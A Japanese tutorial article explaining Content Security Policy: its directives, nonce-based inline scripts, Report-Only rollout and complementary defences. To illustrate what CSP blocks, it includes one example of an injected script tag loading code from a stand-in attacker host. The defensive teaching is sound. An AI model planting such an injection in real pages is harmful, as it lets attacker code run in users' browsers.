近年のWebアプリケーションは、外部ライブラリやAPI、CDNなど多くのリソースを利用しています。その一方で、XSS（Cross-Site Scripting）をはじめとするクライアントサイドの攻撃リスクも高まっています。
そのようなリスクを軽減するために有効なのが Content Security Policy（CSP） です。
CSPはブラウザに対して「どのリソースを読み込み、どのスクリプトを実行してよいか」を明示するセキュリティポリシーです。本記事では、基本的な考え方から導入時のポイントまでを紹介します。
Content Security Policyとは？
CSPはHTTPレスポンスヘッダー、またはHTMLのmetaタグで設定できます。
一般的にはHTTPヘッダーで設定する方法が推奨されています。
例：
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' https:;
font-src 'self';
この設定では、
- JavaScriptは同一オリジンのみ
- CSSは同一オリジンのみ
- 画像はHTTPS経由を許可
- フォントは同一オリジンのみ
というルールになります。
なぜCSPが重要なのか
仮にアプリケーションへ悪意のあるスクリプトが挿入された場合でも、CSPによってブラウザ側で実行を拒否できる可能性があります。
例えば、
<script src="https://evil.example.com/attack.js"></script>
のようなスクリプトが埋め込まれても、許可されていないドメインであれば読み込みはブロックされます。
そのため、入力値のサニタイズやエスケープと組み合わせることで、多層的な防御を構築できます。
よく利用されるディレクティブ
default-src
すべてのリソースの基本ルールになります。
default-src 'self';
script-src
JavaScriptの読み込み元を指定します。
script-src 'self';
CDNを利用する場合は必要なドメインのみ追加します。
script-src 'self' https://cdn.example.com;
style-src
CSSファイルの取得元を指定します。
style-src 'self';
img-src
画像の取得元を制御します。
img-src 'self' https:;
画像CDNを利用している場合は、そのドメインも許可する必要があります。
connect-src
API通信やWebSocket通信を制御します。
connect-src 'self' https://api.example.com;
SPAやモダンフロントエンドでは重要な設定の一つです。
nonceを利用した安全なインラインスクリプト
どうしてもインラインスクリプトを利用する必要がある場合は、nonceを利用します。
レスポンスヘッダー
Content-Security-Policy:
script-src 'self' 'nonce-randomValue';
HTML
<script nonce="randomValue">
console.log("Hello CSP");
</script>
毎回異なるランダム値を生成することで、許可されたスクリプトのみ実行できます。
Report-Onlyモードを活用する
既存システムへCSPを導入する場合は、
Content-Security-Policy-Report-Only
を利用する方法がおすすめです。
このモードでは、
- ポリシー違反を記録
- 実際にはブロックしない
という動作になるため、安全に影響範囲を確認できます。
十分に検証した後、本番環境で通常のCSPへ切り替えるとスムーズです。
導入時によくある注意点
CSPを厳しく設定すると、正規のJavaScriptやCSSまで読み込めなくなる場合があります。
導入前には以下を確認しましょう。
- 利用しているCDN
- Google Fontsなど外部フォント
- 分析ツール
- 外部API
- 埋め込みウィジェット
必要なドメインだけを許可し、不要な許可は増やさないことが重要です。
実務での活用例
近年のオンラインサービスでは、パフォーマンスだけでなくブラウザレベルでのセキュリティ対策も重視されています。
例えば、JLPH のようなデジタルプラットフォームでは、ログイン画面やユーザー情報を扱うページにおいて、安全なスクリプト実行環境を維持することが重要です。CSPを適切に設定し、HTTPSやセキュアCookieなどの対策と組み合わせることで、より堅牢なWebアプリケーションの構築につながります。
さらに組み合わせたいセキュリティ対策
CSPだけでは、すべての攻撃を防げるわけではありません。
以下の対策も合わせて導入すると効果的です。
- HTTPSの全面適用
- HttpOnly・Secure・SameSite属性付きCookie
- 入力値のバリデーション
- 出力時のエスケープ
- CSRF対策
- 定期的なライブラリ更新
- Security Headersの確認
複数の対策を組み合わせることで、防御の層を厚くできます。
まとめ
Content Security Policyは、Webブラウザが実行できるリソースを制御することで、XSSをはじめとする攻撃リスクを軽減するための重要な仕組みです。
導入時は Report-Onlyモード を活用しながら影響範囲を確認し、必要なリソースだけを段階的に許可していくことが推奨されます。
ブラウザセキュリティは一度設定して終わりではなく、アプリケーションの成長に合わせて継続的に見直すことが、安全で信頼性の高いWebサービス運用につながります。